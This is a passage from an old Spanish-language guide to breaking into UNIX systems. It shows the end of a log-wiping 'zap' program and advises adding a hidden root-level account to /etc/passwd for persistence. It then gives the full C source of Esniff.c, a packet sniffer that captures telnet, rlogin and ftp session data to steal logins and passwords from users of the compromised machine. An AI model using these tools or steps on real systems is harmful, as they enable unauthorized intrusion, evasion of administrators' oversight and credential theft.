  858.     if (argc==1) {
  859.         myentry=getpwuid(getuid());
  860.         strcpy(me,myentry->pw_name);
  861.     } else strcpy(me,argv[1]);
  862.     
  863.     printf("ZAPing %s.\n",me);
  864.     kill_utmp(me);
  865. }
  866. <-----------------------------------FINAL------------------------------------>
  867.  
  868. Asi la ultima entrada del usuario queda borrada del sistema. Si lo ejecutamos
  869. demasiadas veces, pondrá nombredeusuario Never Logged In , osea es como si
  870. ese usuario nunca se hubiera conectado al sistema. Ya tenemos las huellas
  871. borradas, pero si queremos mantener esos privilegios que hacemos?
  872. La manera mas facil es añadir una cuenta al /etc/passwd con el comando
  873. "adduser" con numero de usuario 0 y numero de grupo 0 que son privilegios
  874. de root. 
  875. NoTa: que nadie se le ocurra borrar todas las cuentas del fichero passwd
  876. menos una que solo el conozca, por que, aunque nadie podria acceder al sistema
  877. una persona con acceso fisico  podria detectarnos, y como poco borrar
  878. nuestra cuenta asi cerrandonos el acceso al sistema, siendo en vano todo lo
  879. que habiamos hecho.
  880. Sin embargo si por casualidad al sysop en cuestión se le ocurre revisar las
  881. cuentas del fichero passwd la cagamos. Aunque es dificil, por que tendria que
  882. revisar las cuentas 1 por 1 y es muy posible que se no se de cuenta, pero los
  883. hay maniaticos....
  884. Despues de hacer todo esto :
  885. -Tenemos una cuenta con privilegios de root
  886. -Hemos borrado nuestras huellas
  887.  
  888. ¿ Que nos queda ? Pues practicamente nada, salvo colocar un sniffer, programa
  889. que nos facilitara logins y passwords de ordenadores a los que se conecte la
  890. gente de "nuestro" sistema. El problema de los sniffers es que hay uno para
  891. cada sistema, pero si encontramos uno para el nuestro ( cosa que no seria muy
  892. rara ) no está de mas ponerlo para futuros "trabajos".
  893. Aqui incluyo el codigo de uno que quizas os sirva, es el codigo original, y
  894. hay que añadirle alguna cosa asi que leed lo un poco por las lineas que
  895. empiezan por /* Este sniffer deberia funcionar en  casi todos los *NIX :
  896.  
  897. <----------------------------------CORTAD AQUI------------------------------->
  898. /* Esniff.c */
  899.  
  900. #include <stdio.h>
  901. #include <ctype.h>
  902. #include <string.h>
  903.  
  904. #include <sys/time.h>
  905. #include <sys/file.h>
  906. #include <sys/stropts.h>
  907. #include <sys/signal.h>
  908. #include <sys/types.h>
  909. #include <sys/socket.h>
  910. #include <sys/ioctl.h>
  911.  
  912. #include <net/if.h>
  913. #include <net/nit_if.h>
  914. #include <net/nit_buf.h>
  915. #include <net/if_arp.h>
  916.  
  917. #include <netinet/in.h>
  918. #include <netinet/if_ether.h>
  919. #include <netinet/in_systm.h>
  920. #include <netinet/ip.h>
  921. #include <netinet/udp.h>
  922. #include <netinet/ip_var.h>
  923. #include <netinet/udp_var.h>
  924. #include <netinet/in_systm.h>
  925. #include <netinet/tcp.h>
  926. #include <netinet/ip_icmp.h>
  927.  
  928. #include <netdb.h>
  929. #include <arpa/inet.h>
  930.  
  931. #define ERR stderr
  932.  
  933. char    *malloc();
  934. char    *device,
  935.         *ProgName,
  936.         *LogName;
  937. FILE    *LOG;
  938. int     debug=0;
  939.  
  940. #define NIT_DEV     "/dev/nit"
  941. #define CHUNKSIZE   4096        /* device buffer size */
  942. int     if_fd = -1;
  943. int     Packet[CHUNKSIZE+32];
  944.  
  945. void Pexit(err,msg)
  946. int err; char *msg;
  947. { perror(msg);
  948.   exit(err); }
  949.  
  950. void Zexit(err,msg)
  951. int err; char *msg;
  952. { fprintf(ERR,msg);
  953.   exit(err); }
  954.  
  955. #define IP          ((struct ip *)Packet)
  956. #define IP_OFFSET   (0x1FFF)
  957. #define SZETH       (sizeof(struct ether_header))
  958. #define IPLEN       (ntohs(ip->ip_len))
  959. #define IPHLEN      (ip->ip_hl)
  960. #define TCPOFF      (tcph->th_off)
  961. #define IPS         (ip->ip_src)
  962. #define IPD         (ip->ip_dst)
  963. #define TCPS        (tcph->th_sport)
  964. #define TCPD        (tcph->th_dport)
  965. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  966.  
  967. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  968.  
  969. #define MAXBUFLEN  (128)
  970. time_t  LastTIME = 0;
  971.  
  972. struct CREC {
  973.      struct CREC *Next,
  974.                  *Last;
  975.      time_t  Time;              /* start time */
  976.      struct in_addr SRCip,
  977.                     DSTip;
  978.      u_int   SRCport,           /* src/dst ports */
  979.              DSTport;
  980.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  981.      u_int   Length;            /* current data length */
  982.      u_int   PKcnt;             /* # pkts */
  983.      u_long  LASTseq;
  984. };
  985.  
  986. struct CREC *CLroot = NULL;
  987.  
  988. char *Symaddr(ip)
  989. register struct in_addr ip;
  990. { register struct hostent *he =
  991.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  992.  
  993.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  994. }
  995.  
  996. char *TCPflags(flgs)
  997. register u_char flgs;
  998. { static char iobuf[8];
  999. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  1000.  
  1001.   SFL(0,TH_FIN, 'F');
  1002.   SFL(1,TH_SYN, 'S');
  1003.   SFL(2,TH_RST, 'R');
  1004.   SFL(3,TH_PUSH,'P');
  1005.   SFL(4,TH_ACK, 'A');
  1006.   SFL(5,TH_URG, 'U');
  1007.   iobuf[6]=0;
  1008.   return(iobuf);
  1009. }
  1010.  
  1011. char *SERVp(port)
  1012. register u_int port;
  1013. { static char buf[10];
  1014.   register char *p;
  1015.  
  1016.    switch(port) {
  1017.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  1018.      case IPPORT_TELNET:      p="telnet"; break;
  1019.      case IPPORT_SMTP:        p="smtp"; break;
  1020.      case IPPORT_FTP:         p="ftp"; break;
  1021.      default: sprintf(buf,"%u",port); p=buf; break;
  1022.    }
  1023.    return(p);
  1024. }
  1025.  
  1026. char *Ptm(t)
  1027. register time_t *t;
  1028. { register char *p = ctime(t);
  1029.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  1030.   return(p);
  1031. }
  1032.  
  1033. char *NOWtm()
  1034. { time_t tm;
  1035.   time(&tm);
  1036.   return( Ptm(&tm) );
  1037. }
  1038.  
  1039. #define MAX(a,b) (((a)>(b))?(a):(b))
  1040. #define MIN(a,b) (((a)<(b))?(a):(b))
  1041.  
  1042. /* add an item */
  1043. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  1044.   register struct CREC *CLtmp = \
  1045.         (struct CREC *)malloc(sizeof(struct CREC)); \
  1046.   time( &(CLtmp->Time) ); \
  1047.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  1048.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  1049.   CLtmp->SRCport = SPORT; \
  1050.   CLtmp->DSTport = DPORT; \
  1051.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  1052.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  1053.   CLtmp->PKcnt = 1; \
  1054.   CLtmp->Next = CLroot; \
  1055.   CLtmp->Last = NULL; \
  1056.   CLroot = CLtmp; \
  1057. }
  1058.  
  1059. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  1060. register struct in_addr Sip,Dip;
  1061. register u_int SP,DP;
  1062. { register struct CREC *CLr = CLroot;
  1063.  
  1064.   while(CLr != NULL) {
  1065.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  1066.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  1067.             break;
  1068.     CLr = CLr->Next;
  1069.   }
  1070.   return(CLr);
  1071. }
  1072.  
  1073. #define ADDDATA_NODE(CL,DATA,LEN) { \
  1074.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  1075.  CL->Length += LEN; \
  1076. }
  1077.  
  1078. #define PR_DATA(dp,ln) {    \
  1079.   register u_char lastc=0; \
  1080.   while(ln-- >0) { \
  1081.      if(*dp < 32) {  \
  1082.         switch(*dp) { \
  1083.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  1084.                         break; \
  1085.             case '\r': \
  1086.             case '\n': fprintf(LOG,"\n     : "); \
  1087.                         break; \
  1088.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  1089.                         break; \
  1090.         } \
  1091.      } else { \
  1092.         if(isprint(*dp)) fputc(*dp,LOG); \
  1093.         else fprintf(LOG,"(%d)",*dp); \
  1094.      } \
  1095.      lastc = *dp++; \
  1096.   } \
  1097.   fflush(LOG); \
  1098. }
  1099.  
  1100. void END_NODE(CLe,d,dl,msg)
  1101. register struct CREC *CLe;
  1102. register u_char *d;
  1103. register int dl;
  1104. register char *msg;
  1105. {
  1106.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  1107.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  1108.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  1109.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  1110.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  1111.    fprintf(LOG," DATA: ");
  1112.     { register u_int i = CLe->Length;
  1113.       register u_char *p = CLe->Data;
  1114.       PR_DATA(p,i);
  1115.       PR_DATA(d,dl);
  1116.     }
  1117.  
  1118.    fprintf(LOG,"\n-- \n");
  1119.    fflush(LOG);
  1120.  
  1121.    if(CLe->Next != NULL)
  1122.     CLe->Next->Last = CLe->Last;
  1123.    if(CLe->Last != NULL)
  1124.     CLe->Last->Next = CLe->Next;
  1125.    else
  1126.     CLroot = CLe->Next;
  1127.    free(CLe);
  1128. }
  1129.  
  1130. /* 30 mins (x 60 seconds) */
  1131. #define IDLE_TIMEOUT 1800
  1132. #define IDLE_NODE() { \
  1133.   time_t tm; \
  1134.   time(&tm); \
  1135.   if(LastTIME<tm) { \
  1136.      register struct CREC *CLe,*CLt = CLroot; \
  1137.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  1138.      while(CLe=CLt) { \
  1139.        CLt=CLe->Next; \
  1140.        if(CLe->Time <tm) \
  1141.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  1142.      } \
  1143.   } \
  1144. }
  1145.  
  1146. void filter(cp, pktlen)
  1147. register char *cp;
  1148. register u_int pktlen;
  1149. {
  1150.  register struct ip     *ip;
  1151.  register struct tcphdr *tcph;
  1152.  
  1153.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  1154.  
  1155.    if(EtherType < 0x600) {
  1156.      EtherType = *(u_short *)(cp + SZETH + 6);
  1157.      cp+=8; pktlen-=8;
  1158.    }
  1159.  
  1160.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  1161.       return;
  1162.  }
  1163.  
  1164.     /* ugh, gotta do an alignment :-( */
  1165.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  1166.  
  1167.  ip = (struct ip *)Packet;
  1168.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  1169.     return;
  1170.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  1171.  
  1172.  if(!( (TCPD == IPPORT_TELNET) ||
  1173.        (TCPD == IPPORT_LOGINSERVER) ||
  1174.        (TCPD == IPPORT_FTP)
  1175.    )) return;
  1176.  
  1177.  { register struct CREC *CLm;
  1178.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  1179.    register u_char *p = (u_char *)Packet;
  1180.  
  1181.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  1182.  
  1183.  if(debug) {
  1184.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  1185.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  1186.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  1187.  }
  1188.  
  1189.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  1190.  
  1191.       CLm->PKcnt++;
  1192.  
  1193.       if(length>0)
  1194.         if( (CLm->Length + length) < MAXBUFLEN ) {
  1195.           ADDDATA_NODE( CLm, p,length);
  1196.         } else {
  1197.           END_NODE( CLm, p,length, "DATA LIMIT");
  1198.         }
  1199.  
  1200.       if(TCPFL(TH_FIN|TH_RST)) {
  1201.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  1202.       }
  1203.  
  1204.    } else {
  1205.  
  1206.       if(TCPFL(TH_SYN)) {
  1207.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  1208.       }
  1209.  
  1210.    }
  1211.  
  1212.    IDLE_NODE();
  1213.  
  1214.  }
  1215.  
  1216. }
  1217.  
  1218. /* signal handler
  1219.  */
  1220. void death()
  1221. { register struct CREC *CLe;
  1222.  
  1223.     while(CLe=CLroot)
  1224.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  1225.  
  1226.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  1227.     fflush(LOG);
  1228.     if(LOG != stdout)
  1229.         fclose(LOG);
  1230.     exit(1);
  1231. }
  1232.  
  1233. /* opens network interface, performs ioctls and reads from it,
  1234.  * passing data to filter function
  1235.  */
  1236. void do_it()
  1237. {
  1238.     int cc;
  1239.     char *buf;
  1240.     u_short sp_ts_len;
  1241.  
  1242.     if(!(buf=malloc(CHUNKSIZE)))
  1243.         Pexit(1,"Eth: malloc");
  1244.  
  1245. /* this /dev/nit initialization code pinched from etherfind */
  1246.   {
  1247.     struct strioctl si;
  1248.     struct ifreq    ifr;
  1249.     struct timeval  timeout;
  1250.     u_int  chunksize = CHUNKSIZE;
  1251.     u_long if_flags  = NI_PROMISC;
  1252.  
  1253.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  1254.         Pexit(1,"Eth: nit open");
  1255.  
  1256.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  1257.         Pexit(1,"Eth: ioctl (I_SRDOPT)");
  1258.  
  1259.     si.ic_timout = INFTIM;
  1260.  
  1261.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  1262.         Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  1263.  
  1264.     timeout.tv_sec = 1;
  1265.     timeout.tv_usec = 0;
  1266.     si.ic_cmd = NIOCSTIME;
  1267.     si.ic_len = sizeof(timeout);
  1268.     si.ic_dp  = (char *)&timeout;
  1269.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  1270.         Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  1271.  
  1272.     si.ic_cmd = NIOCSCHUNK;
  1273.     si.ic_len = sizeof(chunksize);
  1274.     si.ic_dp  = (char *)&chunksize;
  1275.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  1276.         Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  1277.  
  1278.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  1279.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  1280.     si.ic_cmd = NIOCBIND;
  1281.     si.ic_len = sizeof(ifr);
  1282.     si.ic_dp  = (char *)𝔦
  1283.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  1284.         Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  1285.  
  1286.     si.ic_cmd = NIOCSFLAGS;
  1287.     si.ic_len = sizeof(if_flags);
  1288.     si.ic_dp  = (char *)&if_flags;
  1289.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  1290.         Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  1291.  
  1292.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  1293.         Pexit(1,"Eth: ioctl (I_FLUSH)");
  1294.   }
  1295.  
  1296.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  1297.         register char *bp = buf,
  1298.                       *bufstop = (buf + cc);
  1299.  
  1300.         while (bp < bufstop) {
  1301.             register char *cp = bp;
  1302.             register struct nit_bufhdr *hdrp;
  1303.  
  1304.             hdrp = (struct nit_bufhdr *)cp;
  1305.             cp += sizeof(struct nit_bufhdr);
  1306.             bp += hdrp->nhb_totlen;
  1307.             filter(cp, (u_long)hdrp->nhb_msglen);
  1308.         }
  1309.     }
  1310.     Pexit((-1),"Eth: read");
  1311. }
  1312.  /* Authorize your proogie,generate your own password and uncomment here */
  1313. /* #define AUTHPASSWD "EloiZgZejWyms" */
  1314.  
  1315. void getauth()
  1316. { char *buf,*getpass(),*crypt();
  1317.   char pwd[21],prmpt[81];
  1318.  
  1319.     strcpy(pwd,AUTHPASSWD);
  1320.     sprintf(prmpt,"(%s)UP? ",ProgName);
  1321.     buf=getpass(prmpt);
  1322.     if(strcmp(pwd,crypt(buf,pwd)))
  1323.         exit(1);
  1324. }
  1325.     */
  1326. void main(argc, argv)
  1327. int argc;
  1328. char **argv;
  1329. {
  1330.     char   cbuf[BUFSIZ];
  1331.     struct ifconf ifc;
  1332.     int    s,
  1333.            ac=1,
  1334.            backg=0;
  1335.  
  1336.     ProgName=argv[0];
  1337.  
  1338.  /*     getauth(); */
  1339.  
  1340.     LOG=NULL;
  1341.     device=NULL;
  1342.     while((ac<argc) && (argv[ac][0] == '-')) {
  1343.        register char ch = argv[ac++][1];
  1344.        switch(toupper(ch)) {
  1345.             case 'I': device=argv[ac++];
  1346.                       break;
  1347.             case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  1348.                          Zexit(1,"Output file cant be opened\n");
  1349.                       break;
  1350.             case 'B': backg=1;
  1351.                       break;
  1352.             case 'D': debug=1;
  1353.                       break;
  1354.             default : fprintf(ERR,
  1355.                         "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
  1356.                             ProgName);
  1357.                       exit(1);
  1358.        }
  1359.     }
  1360.  
  1361.     if(!device) {
  1362.         if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  1363.             Pexit(1,"Eth: socket");
  1364.  
  1365.         ifc.ifc_len = sizeof(cbuf);
  1366.         ifc.ifc_buf = cbuf;
  1367.         if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  1368.             Pexit(1,"Eth: ioctl");
  1369.  
  1370.         close(s);
  1371.         device = ifc.ifc_req->ifr_name;
  1372.     }
  1373.  
  1374.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  1375.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  1376.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  1377.  
  1378.     if(!LOG)
  1379.         LOG=stdout;
  1380.  
  1381.     signal(SIGINT, death);
  1382.     signal(SIGTERM,death);
  1383.     signal(SIGKILL,death);
  1384.     signal(SIGQUIT,death);
  1385.  
  1386.     if(backg && debug) {
  1387.          fprintf(ERR,"[Cannot bg with debug on]\n");
  1388.          backg=0;
  1389.     }
  1390.  
  1391.     if(backg) {
  1392.         register int s;
  1393.  
  1394.         if((s=fork())>0) {
  1395.            fprintf(ERR,"[pid %d]\n",s);
  1396.            exit(0);
  1397.         } else if(s<0)
  1398.            Pexit(1,"fork");
  1399.  
  1400.         if( (s=open("/dev/tty",O_RDWR))>0 ) {
  1401.                 ioctl(s,TIOCNOTTY,(char *)NULL);
  1402.                 close(s);
  1403.         }
  1404.     }
  1405.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  1406.     fflush(LOG);
  1407.  
  1408.     do_it();
  1409. }
  1410. <----------------------------------FINAL------------------------------------>
  1411.  
  1412. Bueno, ya hemos terminado espero que os haya servido de ayuda este texto, y
  1413. hayais comprendido como hackear un UNIX
  1414.  
  1415. De todas maneras si hay algo que no entendais, o alguna pregunta ya sabeis:
  1416. ravenspirit@hotmail.com
  1417. ###Por cierto las cartas tipo " ¿ que necesito para ser un hacker ? " iran
  1418. al trash directamente.###
  1419. !!!!Happy Hack ;-)              
  1420. WAREZ RULEZ
  1421.   KILL THE BIG BROTHER
  1422.     FREE OUR DATA
  1423.        {[-RavEn│SpiRiT-]}
  1424. NoTa especial para iDlEr: Si lees estas lineas mandame un mail, por que he
  1425. perdido tu direccion. Agradecimientos especiales para ti.
  1426.  
  1427.  
  1428.  
  1429.